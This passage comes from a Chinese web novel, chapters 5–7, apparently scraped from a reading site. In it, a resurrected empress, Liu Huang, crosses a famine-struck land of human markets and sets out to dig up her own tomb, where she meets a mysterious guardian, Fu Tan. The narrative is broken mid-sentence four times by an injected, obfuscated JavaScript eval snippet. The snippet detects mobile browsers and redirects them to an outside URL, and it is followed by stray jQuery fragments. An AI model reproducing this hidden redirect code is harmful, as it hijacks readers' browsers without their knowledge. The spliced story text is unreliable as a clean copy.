刘煌默然。 “姑娘,”老妪忽然出声,刘煌猫儿似地提起耳朵。 “若我死了,也请带我来。我想躺在这块砖上,被她接走。” 刘煌:“可是……” 周遭分明满是人,依旧压不住的死气。 啜泣、呻吟、啼哭槌击着她的每寸骨肉,几乎要将耳膜撕裂,而高坛上的神像不为所动。 “求你了,姑娘。” 刘煌沉默半晌,终是颔首说了个“好”字。 尽管,那里并没有女帝。 草席里的人断气多时,据说是荒年收成不好,交不上粮,被主家打死了。 尸身上青紫的血痂像是树枝划破的豁口,片片割身,如遭滚钉。 当初阿九身上的鞭伤也是这个颜色吗?会不会更加严重? 刘煌从前不觉目盲有什么不好,直到现在看见了颜色、光影。 以及许多人的脸,老妪的、孩童的、饥民的,想看多少看多少。 她蓦地,很想知道那些曾陪伴自己的人,他们长什么样子? 却是再也无法看到。 三十年沧海桑田,就算有缘重逢,也不是从前面对她的那张脸了。 到头来,她连母亲的长相也无从得知,脑海里只余下空洞洞的一片声音与触觉。 “阿姊,你磕完头气色都好上不少呢!”从破庙出来,阿婴皮包骨的手挽住她。 “阿婴,你……真相信庙里的神仙吗?” 阿婴敲着脑袋嗯了声。 “为何?”刘煌不解。 女娃娃敲敲脑壳,“因为她在的时候每一张嘴都能吃饱呀!” “阿嬷说有她在的时候官兵不会抢村里的粮食,不会把大家放进锅里洗澡,也不会点火烧屋子,还有放米的米仓,能把米堆烂呢。” 与村里的孩童一样,阿婴不懂来的兵是哪一路,也不懂为何他们来了走走了又来,只知道屋子没了,地里长不出粮食了。 “阿姊,有米的米仓是什么样子的?” 她天真地问着刘煌,见刘煌不答,不免失落,“连阿姊也没见过么。” “你想去见吗?” 阿婴点点头。 “改日带你去。”刘煌刮刮她的鼻子。 阿婴的双眸亮成明星,然而她们终究没去成米仓。 比粮食先到的是官兵。 朝廷飘摇,官兵多成了本地州官私兵,挨家挨户催粮赋。 刘煌是睡梦里惊醒的,推门便见火光冲天,当即唤醒老妪与阿婴。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405545|184442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 地上民兵的尸体血痕未干,到处是抢砸的官兵,婴孩被摔成肉泥,阿婴低头想捡作口粮,被刘煌拍掉。 民兵组成的村子一夕之间烧成灰烬,州官坐在车帐内,车尾是一串民兵的头颅,随着马蹄奔腾风铃般拖行着。 不久,州官远征外敌大捷的消息传开,传言外敌入境,灭了数村,州官前去讨伐,斩敌军人头数百,朝廷大加赏封,加官进爵。 吊在城墙的敌军头颅转过来了,是护佑村子的民兵的脸。 阿婴险些失声惊叫,刘煌先一步捂住她隐于城下泱泱人群。 村中的男丁枭首示众,妇孺变卖为奴,曾经的村落吞噬在大火中。 但还有一个地方可以供她们停靠,破庙。 刘煌再回到破庙前,见到的却是一片狼藉,洪水冲毁屋瓦,也冲走庙内流民的生机。 水中沉着数百张浮白的脸,暴凸的眼珠还在上瞪着天,僵硬的眼皮已无法再阖上。 待洪水褪去,刘煌走进庙内,神像依然,洪水涤净她身上积尘,更添几分如月皎辉。 刘煌伸手,触碰刹那,慈眉善目的神像顷刻崩塌。头、手、身子,化为碎瓦,四分五裂。 “阿姊,我饿。” 阿婴折了腿,紧贴在老妪身上,身上沁出一身汗。 刘煌这才发现。 自己什么也不会。 各类治国策论她烂熟于心,倒背如流,却没有一卷告诉她,如何摘果子,如何浣衣裳。 她挥毫一写,便是经邦宏言,信手一拈,便是筵席绝诗,如今却对着袖上沾的泥渍无从下手。 “阿婴……” “阿姊,我还能看见有米的粮仓吗?” 刘煌朝她额间探去,烫得吓人,可是城内已不容他们这等没有籍契之人。 村子没有了,药也没有了,身无分文躲藏在荒林,她们已多日未吃过热食。 天遥地广,何处才有容身之处?思来想去,一个去处乍然冒出刘煌脑海。 那里有药,有医书,还有钱财,是一座结结实实的金山。 对啊,她为何没想到? 自己的坟墓不说是金山,也是称得上一句结结实实的银山的。 人果然还是要贪图点钱财。 想她刚出棺时,什么都金银都都不屑于带。没钱又如何?凭自己的手段钱财等身外之物岂不是简单至极? 真真是一副视钱财为粪土的帝王做派,全然没意识到山下已天翻地覆,变了时代。 夜里,她缓缓掰开路边死尸的手。 那人不知死了多少时日,双手全然僵了,仍紧握着锄禾的钉耙。 刘煌费了点气力取下,摸黑拍晕官兵,带上一老一少从荒林溜走。 女帝陵下落成谜,但可喜的是,作为墓主人,寿穴还是自己生前亲自挑的,帝陵在何处,她可谓是了如指掌,如同归家。 再也不会有第二人如她这般熟络家门了。 想到墓内好物甚多,刘煌拖上钉耙。 她要去盗墓,盗自己的墓。 5. 挖坟 万幸,刘煌记得自己被埋在东樵山东南角梅林左。 万万不幸,刘煌低估了三十年的道路变迁。 别说三十年前的路,一年前的路都已改道。 自棺椁中爬出后,她筋疲力尽走了一个日夜,又被当菜人绑入锅中烹煮,侥幸摔下山崖得救安居于无名村寨,早已不知距离帝陵有多远。 找墓?怕是拿着寻龙尺乱撞运气的土夫子都比自己的机率大。 但听周遭村落的口音,想来此地距离帝陵也不算太远。只是三十年变迁,地上已是另一番景致,哪里看得出她登基时的模样? 刘煌有些后悔,刚从坟墓出来时自己无法身负重物,又急于下山填饱肚子,根本没带多少物什,以至于今时今日,她只能饥肠辘辘地看望着街上的烧饼摊解馋。 装烧饼的笼子安了木藤网,以防流民偷盗,又一个偷饼的孩子被网卡住五指,摊贩旋即将人绑在木桩。 滚烫的热汽从蒸笼旋出,炙烤着那张渴望吃食的脸,不过半刻,小贼的面浮起水肿,手却仍死死扒着木藤不肯放,藤身锋利,嵌进他黝黑的指肉,沁出鲜红。 刘煌一路走,一路看着周遭,企图从生疏的景色里窥见一点三十年前的余痕。 然而入眼最多的,是森森白骨。 以及水面飘来的木盆,里头偶尔会传来婴孩的哭声,没等刘煌赶过去微弱的哭声便静止了,四下柔和安宁。 取出木盆,婴孩的脸已僵紫。 刘煌与阿婴将婴孩埋在树下,用土做了襁褓,兜兜转转,在流浪了几个日月,前方终于出现一间寺庙,昏黄大门敞开,接纳着每一位疲行的子民。 庙中的神像眉眼熟悉,眼下双痣,温柔悲悯。 到头来,唯有在女帝的寺庙她们才得到了久违的安眠。 次日赶路,刘煌回望身后那座破败的神庙,初见觉得无用的神像此刻,竟变得慈悲。 阿婴说,大家的田地被占了,屋子也烧了,只能窝进女帝庙里,庙里好,庙里比州官府上舒服。 从前村里饿死人,有个小姊妹,不肯睡破庙,怕庙里的阿叔揩油,卖身进州官家里,头几年还会寄米粮给爹娘,后来被卖到了人市,再也没了下落。 “阿姊,吃人……吃人了……”阿婴蓦地缩起脖颈,瑟缩着不肯向前。 但见集市摆着一排笼子,笼子里关着面如菜色的人,有男有女,有老有少,挨挤在一团,用绳索绑缚着。 牙公打开笼子,迁出一列人,列在集市前展示,手脚勤快的、干净伶俐的、不知疼痛的。 一幕幕,宛如当日下锅,阿婴吓到胆骇。 “傻丫头,那不是在吃人。”老妪拍拍孙女的脑瓜。 刘煌拽紧掌中的小手,目不转睛望着这一幕:“阿婴。” 阿婴疑惑嗯了声。 “这就你说的人市。” “可是……”小人吸了把鼻,忍不住抽噎,“可是长史家里有那么多的人,为何还要买人?” 女娃娃不懂,“不是说大家都没米吃,要吃人了吗?买那么多人,长史、长史会不会吃不饱?他会挨饿吗?” 车马扬鞭挥来,刘煌抱着阿婴躲闪,一众行人被驱至道旁,家丁打扮的人下了马,说府中小公子牙疼。 牙公徐徐踱步,一名与阿婴一般大的孩童被揪出,比划一二,瞬间掰掉了门牙。 小小的孩子血流满口,如同抽骨。 买卖良民处磔刑,断四肢,剖心肝——这是女帝刘煌在位时定的大律。 但,自愿卖身的,律法既然没写明,那便全当不算。老妪说,那些笼子里的人皆是“自愿”的。 贱籍不属于良民,故而卖贱籍也不算罪,死人不属于活人,故而更不算了。 人肉三文,猪肉一钱,人比猪便宜。 明令上自然是不许卖人,多年流变后,世人早已摸索出一条游走之道。 卖“自愿”的、卖躯体、卖一部分肉,总归不是卖人,怎能算犯禁?没有的事。 剁肉声从菜人市传来,悬挂钩子上的半条胳膊还沾着黑色的毳毛。 阿婴捂住耳,哭出了声。 夜半,梦魇的小人儿捧着单薄的双臂,一遍遍问刘煌,问阿嬷,“阿姊,我以后会不会也变成他们?” “我不想、我不想被挂在钩子上。” 瘦小的人扑进刘煌怀中,她不习惯地想移开腹部的脑袋,但最终手停在了上空,化作一丝抚摸。 “不会的,我会带你们去一个地方,而后,找一个活法。” 老妪恻然,“是我们拖累了姑娘。”她实在太老,太老了。 “不!你们没有拖累我,是我……”刘煌欲言又止,“是我拖累了你们,是我没有做到很多的事、是我选错了……让你们重新跪了下去。” 望见神像前虔诚下跪的人群那一刻,没有人比她更希望自己真的是个神明,却也无人比她更深刻感受到,女帝刘煌,也是肉眼凡胎的人,会受伤,会死去。 那些流民是有求于己才会将头磕破,而她却没能还他们一个更好的天下,翩翩什么也做不了,眼睁睁见着乞求的子民跪废双腿。 因为她深知,不会有那么一个神明来实现他们的夙愿,能观世音的菩萨,世间就不存在过。 阿婴与老妪面面相觑。 “姑娘,千万别如此说,你为我们做的事够多了。” 衰迈的声音犹疑地开口,“若不是你阿婴早被沸水呛死了,你一路护着我们,可我老了,阿婴又小,是实在拖累了你。” “我不是不愿意死,我就想着,留在你们身边万一哪日真没吃的了,那我……” “我不吃人肉。”刘煌的眼神恢复神智,冷眸警告,老妪住了嘴。 “我要吃菜粥。”她不容置喙道。 昔年身居御座,一朝曾为天子,出口要的,却仅是一碗菜粥,一碗生前连端到自己面前都不配的菜粥。 前世宫廷钟鼓馔玉,仿若黄粱一梦,饱尝饥饿的滋味后,刘煌已记不起吃腻的佳肴的味道。 “可是此地没有菜粥。”老妪仿徨。 刘煌道:“所以请活下去,我要吃到你做的菜粥。” 老妪嗫嚅着唇,皲裂的枯手无措捏紧,“好、好。” 老妪再也不提死,跟着刘煌一路寻墓。 找墓很难,刘煌不是没考虑过投奔从前的旧部。 可自己生前为王朝留下的托孤大臣无一幸终,最后一名托孤大臣也于二十年前战死沙场,其余各路人马或死或隐,生死未卜。 盛世从来不是刘煌一人的功劳,是恰好出生在同一时代的有志之士一起扬起的风帆。 刘煌每晚听着老妪对阿婴讲女帝的传说入睡,故人的结局她已烂熟于心。 然而更多的人,传说并未留下他们的结局,他们一如沙砾,隐没深海。 她要去哪里找他们? 阿婴身上的烧时好时坏,刘煌不想折腾,眼下先边活下去,边寻自己的坟再说。 “阿姊,我们要到哪里去?”阿婴在刘煌背上咳嗽几声。 “去东樵山。” “那是什么山?” “一座药山,以前有个女娃娃,身子和你一样差,眼睛看不见,听人说死后葬在药山上下辈子能复明,便在山上种满了药草,你会在那里活得很好。” “山上有鬼吗?阿姊,我怕鬼。” “没有,不过有很多石头做的哥哥姊姊,他们见到你一定会很开心的。” “石头做的?”阿婴红扑着脸嘿笑,“太好了,石头不吃人肉。” 刘煌被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405546|184442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的笑意感染,忽然脚心一凉,连人带头深陷一个大土坑。 “姑娘!” 瞬息之间,她用尽力气将阿婴望头顶一抛,握住老妪伸来的手。 即将爬上,只听坑底传来哀嚎。 “郎君饶命!我们再也不敢!再也不敢摸金了!求郎君高台贵手放我兄弟二人出去吧!” 坑底有人! 刘煌低头,两个被捆得扎实的男人正鬼哭狼嚎,一副被吓破胆的模样。 “何人在此?”刘煌厉声。 听得是个女声,李家兄弟止哭。 “姑娘?三哥、是个姑娘!不是那劳什子煞鬼小白脸!” “姑娘,我兄弟二人本是城中豆腐店伙计,奈何有位郎君,人面兽心!逼我二人为他发丘,落此境地!”老李头舔舔干裂的唇。 “既是他逼你们发丘,为何将你们困于此地?” “那那那那小子想独吞!狼子野心,不守盗德!将我二人打晕自此多日,意图饿死!” 老李头脑破口大骂,小李郎哭喊:“姑娘开恩!救救我等吧!” 刘煌将信将疑,便问:“发的谁的丘?” 两人犹豫了,坑底一阵窃声窃语方再度传音:“发的是女帝刘煌!” “……” 虽然私心很想将二人踹回坑底,但鉴于自己需要人带路寻墓,刘煌决定开次恩。 “我可以救你们,但不解你们身上的绳子,直到你们护送我安然无恙回城。” 她抓了跟藤,又用木板和石头做了个简易架子,拉出二人,见人刚一冒头,眼疾手快牵住捆着两人的绳尾。 李家兄弟磕头谢恩,连声答应。 刘煌转着手上的藤条:“我在朝廷和县衙也有些势力,二位最好不要妄动,若护我回城,我可以帮你们隐瞒,并且大大有赏。” 老李头心里骂娘,面上恭敬哈腰。 被年岁看起来比自己小不止一轮的女子训诫着实心堵,但她一副精明老练的做派,怎也不像这个年纪女子该有的。 李家兄弟不敢违抗,加上饿了好些天,早已前胸贴后背,只得老实为刘煌开路。 刘煌牵着藤绳,直往帝陵赶。 那是自己的归处,也是自己的来处。 暮野四合,月升乌沉,穿过一片泼墨竹林,熟悉的触觉与气息涌动滑过肤肌。 刘煌心下一坠。 是自己出坟时的山林——东樵山。 阿婴的药、自己的钱财有着落了! 事不宜迟,她寻到眼熟的草地采摘药草,叫老妪与阿婴现熬。 紧接着,双目雪亮如豹,盯向裸露的封土,抄起钉耙就是一耙。 一下、两下。 刘煌趁夜快快刨坟。 反正此地无人来。 “姑娘,要我说此墓早被盗了,不若先下山商议如何?”小李头饿得不行。 “姑娘轻些挖,此墓好歹是女帝刘煌的墓,总要给老祖宗……” 轰,山石簌簌滚落。 “……给老祖宗几分薄面。” 饶是盗墓多年的老李头也被刘煌惊到,墓里埋的好歹是女帝刘煌,眼前人的挖法凶狠异常,什么仇什么怨如此不给情面? 刘煌不予理会,“无须多礼,女帝不介意的。” 回家拿自己的东西怎能算盗? 她可是此山头号墓主! 刘煌高举钉耙,挺起腰杆就要锤落。 钉耙即将碰到墓砖的一瞬间,清风扫来,竹叶漫卷,一则强而有力的阻力陡然架住钉耙。 铮鸣嗡然。 硬生生挡下狠厉的一击,耳鸣在刘煌脑颅内叫嚣。 一道清秀通雅的身影拦在了她身前,眼眸冰冷,愠恚深然。 看她,如看死物。 6. 相遇 从墓门打到墓道,男人的剑法进入陵墓内明显收敛许多。 他似乎想活捉自己拎到墓外再进行处置,刘煌偏不遂他愿,朝墓内躲去。 墓道内湿泥沉降,刘煌察觉男人的面庞在见到墓内墙壁沾上湿泥后有半瞬怔愣。 趁现在! 她沿壁摸索,一个扬腕,扔出壁龛内陪葬的数卷佛经。 龙鳞册被掷在半空,金屑浮光,笔墨做的山峦将她遮掩。 男人彻底变了脸色,眉眼间头一次出现名为“恐惧”的情绪。 刘煌以为他会破开障目的图册直追而来,踏中墓内的滚石陷阱,但是没有,身着靛蓝衣袍的人扔下剑,几乎是不顾一切地伸开双臂去接半空落下的龙鳞册。 最后一卷龙鳞册即将落进地面泥潭中,他索性拉起衣袍,亲自跪在泥潭之上,接住了散落的书册。 书册宣白如故,滴泥未溅,尽数落在男人靛蓝衣袍撑起的一方容纳之处,而他跪在身下的鞋袜与裈袴已深陷泥潭。 淤泥全然吞没了他大半双腿,方才还是个青玉郎君,转瞬间被泥潭点染。 他立起身,泥水不断从双腿流淌,而他不为所动,只是目不转睛注视着接住的佛经,仔细生怕弄脏。 却不曾想一柄剑架在了他的脖侧。 是他的剑,但在他扔出那一刻起就已经易主到刘煌手中。 男人的动作终于停了。 “别在这里杀我,”他的声音极轻,像是刻意压低了说话的气流,“会留下血迹的。” “你也是来摸金的?” 男人不答。 刘煌继续利诱,“我也不愿墓内见血,你若同意,我们合作运宝如何?” 男人还是不答,对脖上驾刀视若无睹,一取一放地将壁龛佛经归位。 直到抚平最后一页书页,他回头淡漠地望她,“你和之前来的土夫子是一伙的?” 人多势众,虽然眼前的男子只有一人,但刘煌直觉此人不好对付,于是爽快承认:“是。” 剑身寒光闪,她语气霜冷,“你也见到了,我们人多,而你只有一人,若我有个三长两短,你怕是也跑不了。” “开棺即死。” “什么?” “这座坟被墓主下了咒,开棺即死,你确定要继续?” 自己?下咒? 刘煌走马灯地闪忆了下前生,非常确信自己的记忆里没有这一桥段,女帝刘煌是个顶顶不信鬼神之人,此乃宫内秘事,但作为本尊,她还是知晓一二的。 此人不仅威胁自己,还是打着自己的名头,狐假虎威。 靠在男人脖颈上的剑丝毫未撤,贴得更近了,他逼出一声吃痛的闷哼。 “你到底是谁?” 男人说出一个从未想过的答案。 “此地殉人。” * 墓门外,鹧鸪的声音低飞盘桓,清寂萧瑟。 “装神弄鬼。”刘煌面色一凛,“女帝陵根本没用人殉。” “若我说有呢。”男人望向她,声容平淡。 刘煌:“好,你既说自己是墓内殉人,就同我说说墓中的情况。” 熟料对方沉默半晌,当她以为骗子的谎言被识破难以再圆时,他开口说出了墓内大致摆放,包括礼器摆放及规格。 甚至部分角落,连刘煌自己也不甚熟悉,诸如钟磬其上刻字,他逐一说出,细致无比。 泠泠恐惧宛如和水的纱,漫入四肢百骸,随男子的声音回荡墓道内。 言毕,他稍作停歇。 可脖上应当撤去的剑并没有离开之势。 刘煌毫无动静。 她细细盘剥,下一刻,睁眸:“郎君就是将李家兄弟埋在坑底的人。” 殉人爬出坟墓的事刘煌自然不信,信他是殉人,还不如信她是女帝刘煌。 但对方对自己的墓了解地事无巨细,细到像是研究了十几年,便剩一种可能—— “这座墓,早被你盗空了。” 被赋予一个“盗”字,男人身上的气息有了变化,她感受到他从未动过的脖颈微颤了下。 那是一种微妙的怒意。 “若没猜错,阁下应当是位姑娘吧。”男人轻声启唇,寒剑冷光反射自外探来的月华,映亮他云岫般的眉目。 “摸金一事本就是亡命之徒所为,轻则流徙,重则磔刑,姑娘何必要为一餐饭赔上自己?” “一餐饭?”刘煌轻转剑刃,几乎贴近他的喉结,“你怎知,我一定是为了一餐饭?” “崇德五年,桢州水患,淹没百田,人饥相食。”他脱口而念,如同看待某种既成定论的判词,理智,克持,抹去任何夹杂个人情感的哀悯与喜悲。 “若真是为财而发丘姑娘没必要带上一个于此无任何用处的孩童。墓中多是天家明器,即使盗出也无人敢接手,实在是……得不偿失。” 刘煌何尝不知,但一些书札与玉玩仍能流通一二,解些燃眉之急。 再不济,把自己的棺材板劈了作柴薪、壁画拆下卖给旁人造墓也成。 可眼下,墓被眼前这个人盗了。 可恶。 “得不偿失也要尝啊,”她状似无奈,“谁叫我们举步维艰呢。不过郎君方才一番言论,若是被县衙和朝廷知晓了,那可是杀头之罪。若愿意将盗墓换的财宝与我们共分,堵住我们的嘴,当然没话说。” “我可以直接给你们粮食。” 男人冷不丁冒出一句。 “粮食、钱银,我可以给你们。” “非亲非故,你为何要帮我?”刘煌剑抵他喉。 他一动不动:“只要你们不再踏足墓陵一步。” 说这句话时,他带着莫名的操守,像座禅静的石像生。 “以我作要挟,去我府上取钱粮。”他抬眸,指尖捏住剑身,“如此交易比做亡命徒强,即使被官府查出也不过监押几日,比起摸金能留条命,如何?” 接着,剑身在指尖的控制下缓缓贴上他脖颈脆嫩的皮肉,青蓝血管在白皙皮肤下若隐若现,伏檀轻笑,“这里,更脆弱。” “这对你有什么好处?”刘煌看不透他。 而对方只是提醒道:“刀在你手,姑娘。” 多余的话一句也没说。 墓内空气极闷,没有了财宝,对刘煌而言,不过是一座容易窒息的空墓。 安全着想,她持剑逼着人一退一挪出了墓门,谨慎地将人用藤绳捆起。 “头儿!就是此人!就是此人把我兄弟俩扔入坑里的!”李家兄弟一眼就认出伏檀。 不知何时起两人对自己的称谓改叫了头,刘煌很难说该喜该悲,这可真是跳进黄河洗不清了。 “小白面,你也有今日!”同样是被捆着,李家兄弟幸灾乐祸,桀桀笑着。 “如今我二人头儿来了,你不是一样束手被擒?算计我们时的气焰呢?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405547|184442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头儿,多捆几下!他不止摸金他还会杀人,可怕得很!” 伏檀对着栓在树下没比自己好到哪去的两人,冷冷一瞥,露骨的鄙夷毫不掩藏。 “小白面还敢瞪我?!” 刘煌听到动静转过头来,伏檀的眸光霎时收起,笑靥依然,“头儿,我很乖的,别不要我。” 如果李家兄弟进食过,这会子应当哕出来了。 老李头大喝:“知道我们头儿是何人吗!县官都要看她三分薄面!” “真的吗?头儿好厉害呀。” 李家兄弟没有一刻如现在这般庆幸自己没进食。 小李郎看不下去了,跳着身子想去踹伏檀一腿,刘煌竖起食指,放到唇边。 “不要吵到孩子。” 两方人马都静了。她平静扫眸,而后继续去查看阿婴的状况。 东樵山的药起了效,阿婴的烧比以往退得都要快。 “寒水致病。”伏檀出声。 刘煌看过去,他捆着藤条,正襟危坐在树下:“这孩子是被水冻到了。” “我的屋舍就在帝陵附近,里面有麻黄汤,可以帮你们开方子。” 刘煌问出口:“你怎会如此熟悉?” “寒水致病是最常见的伤病,姑娘莫非没见过?” 刘煌没回语。 伏檀权当她是哪位落魄千金,宽慰道:“没见过是好事,无病无央。我从前被一口水棺冻过,熬了几个月呢,想不熟悉都难。” “看她的样子,要服上三个月才去干净。”他艰难地挪了下坐姿。 一听要服上三月,老妪望向刘煌,三个月的药钱,不是一笔小数目。 刘煌解下男人的剑鞘挂到自己身上,又将捆绳勒紧,重新将剑架在伏檀脖上。 “带我去取药。” 男人没有敌意,好整以暇地打量着她:“姑娘是不是忘了什么要说的?” 刘煌想了瞬,“?多谢?” 笑声从他唇边溢出。 “我是在问姑娘想去取药,还是取财。” “那位老婆婆的腿脚看起来不大好,如果是取药,你会选择一个人来,如果是取财你可就需要带一群人来搬了。” 他将问题抛给刘煌,似乎想看她如何选择。 刘煌移开剑,“李六,动手。” 小李郎得到准许,照着伏檀的脸踢来一腿,他闷哼倒下。 帝王家是不喜人被人窥私的,也不喜被人揣测,一切被品出玩弄意味的举动不论是好是坏,是褒是贬,教训总是要给。 “啊……好痛……”伏檀坐起,仿佛如受千钧之力。 “我根本没踢到你!”小李郎再也忍不了了:“头儿我忍不住了,我能再给他来一腿吗?” 刘煌忽略耳边的聒噪,径直靠近恢复端坐的男人,剑光冰冷,声音轻柔,“现在,能带我去了吗?” 伏檀颔首,“离开此地前我有一个不情之请,还望姑娘能成全。” “头儿!他讨价还价!” 刘煌不是一个爱把兔子逼急了的人,“郎君请说。” “我想替此地的墓主,将墓修好。”伏檀望向墓门的乱土,神色凝重。 “我希望她,睡个好觉。” 崇德五年,女帝刘煌死后第三十载,离帝陵发掘还有一千零五年。 伏檀于心中默算了下时间,填充着史料里缺失的一角:崇德五年,民不聊生,这一年,有个怪人。 7. 修墓 墓门敞着。 刨开的膏土落进敞开的墓道,潮湿泥泞,也不知空气进去了多少。 每多敞开一刻,墓内的保护便延误上一分,帝陵的陪葬品骤然接触污垢与湿润的空气,随时可能氧化。 想起那些残缺剥落的壁画,伏檀沉重下来。 修复壁画不是项轻松事,要有足够的耐心、细心、以及体力。 对许多同事来说,这是项枯燥而漫长的坐牢关,每一步环节、修复室里的每个人都要打起十二分谨慎。 从分析成分、处理病害到加固剥离,他在无数个星空下与墓中揭取的壁画一遍又一遍地对望,看着古老的景物在眼前,与它们画中的墓主人一同,一点一点恢复千年前的生机。 无声的壁画发出呼唤,用亦新亦旧的身躯,诉说着曾在这片土地上发生过的故事。 任何一点环境湿度、土壤水量都会对壁画产生破坏。 失之毫厘,差之千里。 那些壁画,不能再损坏分毫了。 “我可以配合你们做任何事,但……”伏檀瞥向墓门,“鄙人怕遭亡魂报应,可否先回填了这座墓?” “头儿,别信他!杀我们时怎么不见怕遭亡魂报应呢?” 伏檀道:“埋在此处的是女帝刘煌,岂是凡夫俗子能比拟的。” “你!”小李郎一个横踢扫腿过来,在腿挨近的前一刻伏檀腰身如落叶去柯,就着树倒下,在地上重咳起来。 “如此金枝玉叶尊荣绝色之主,”他又咳一声,“我一介泥身擅闯她的幽眠之所已是死罪,能有什么坏心?不过是想为女帝赔罪罢了,没想到这位兄台竟如此疑我。” 刘煌扶住伏檀的肩,双眉宁和,开口问道:“女帝刘煌好看吗?” 如林下美人的男子哽了一下,困顿、疑惑。 片刻道:“好看。” 见刘煌反应缺缺,愣了瞬又补充:“姑娘定然也好看。” 老李头气到发晕,“你骗鬼呢!她的脸都黑得看不清了!” 刘煌一个眸光清冷扫过,没说话,老李头忙不迭改口:“头儿好看、头儿好看、” “算你有点识相小白面!还知道我们头儿好看!” 刘煌扶在伏檀肩上的手一松,他缓缓坐直身子,青丝散在唇边,“多谢姑娘。” 说着不忘回以旁边一口一个小白面骂着的李家兄弟一个促狭余光。 却听刘煌语气平缓,说出最瘆人的字词,“你若是在宫里此刻已人头点地。” 冷意骤降,伏檀徐缓仰头,头顶女子一身葛衣粗布玉立在月华下。 “我问她长得如何不是为比较,”女帝刘煌从不屑与任何人比较,“只是想知道你可曾见过她,以及,试试你是不是个值得信任的人。” “那姑娘试出来了么?” 刘煌道:“阿嬷,再多捆他一圈绳。” 对于男人想给女帝修坟的说法,刘煌是不信的,盗都盗了,该冒犯的、不该冒犯的都冒犯了。 墓室空空后说怕鬼敲门? “你的要求恕我不能答应。”她回绝。 男人的眸光可见地黯了,神色依然平静,“为何。” 刘煌看了眼烧热刚褪的阿婴,“人命关天,我们没有那么多的时间。” 孩子的身骨不知何时会再烧起来,她不能赌。 “那请姑娘恕鄙人难从命,无法带你取药。”他躬下腰在地上稽首。 “我会杀了你,你知不知道?” “知道。”伏檀面色不改。 “若姑娘杀我得以解意,请姑娘杀后替我将帝陵修好。” 刘煌轻抿檀唇,怎的又绕入牛角尖了? 眼前人宛如一根筋,在墓中打斗时说不清道不明的痴魔又回到了他身上。 “疯子。”老李头啐一口,“墓都盗了装什么样子?头儿,他定是想趁你埋墓时偷袭。” 刘煌提剑轻轻拨开男人的衣襟,“你就不为自己求饶?” “我不知道何愁何怨姑娘要求特意寻女帝刘煌的墓,”他轻笑,“既然我今日落在姑娘手上注定要死,算我死前替自己积阴,为何她求饶。” “宣帝刘煌,乾和十三年和亲,十六年弑父,大业初年践祚,三年治乱,三年治外,四年天下皆安,托孤四大臣,死前仍御案朱批,她保一方水土,保你们先辈平安生下后代,就算走投无路来摸金,她的墓也不该被如此对待。” 刘煌的剑放下了。 正视对绑在树下的男人投来目光。 听着自己的生平从旁人口中说出、回响在自己的陵墓前,是种奇异的感受。 刘煌望着那座没有什么感情的封土,“修复她的墓对你就如此重要?” 帝陵是自己的埋骨处,也仅仅是一座埋骨处,一块无生命的土包,活着的阿婴才是自己真真切切的子民。 她是不大理解的,为何一个盗墓贼比自己看重这座土坟得多。 但挖坟容易,填坟则是另一码事了,“墓中的土泥一时难以回填,墓门也被你我撞开,并非我不帮你。” 她们人手不够。 “但若你带我取药归来,我能替你将她的墓修好。” 伏檀不为所动。 “填坟很快的,我可以指导你。”风吹动他浸染淤泥的下衣。 “你填过?” “填过。” 在千年之后,他一抔一抔土,填了许多遗迹,当然,也挖过许多的遗迹。 伏檀望向身前的女子,眼眸清如莲子:“我教你。” 刘煌刚要否绝,袖侧传来微豪的拽动。 这份拽动熟悉亲切,她向下望,女娃娃水灵的眸子布满炽红的血丝。 “阿婴!” “阿姊……土、填。”她笑着,气脉虚薄。 “阿姊,我听到了,这里是神仙的家,比好多好多的庙都重要,如果离去不关门,神仙会生气的。” 女帝曾是许多人的信仰。 在远离京城的乡野,阿婴听着那个和她一般大的女娃娃成为皇帝,听着她变成一座丰碑。 “我不想神仙生气,她生气,就不要阿婴……不来接阿婴了,以前阿婴打破碗,阿嬷说女帝不要我了……现在打破了她的家门,她会、不要我的。” “她不会不要你的。”刘煌贴上她凹瘦的脸颊。 “那阿姊能把神仙的家门关上吗?”阿婴抬起小手。 “我先去给你备药。” “阿姊不关门,我就不吃药。” 刘煌想暂时劈晕阿婴,霎时间,一只满布皱纹的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 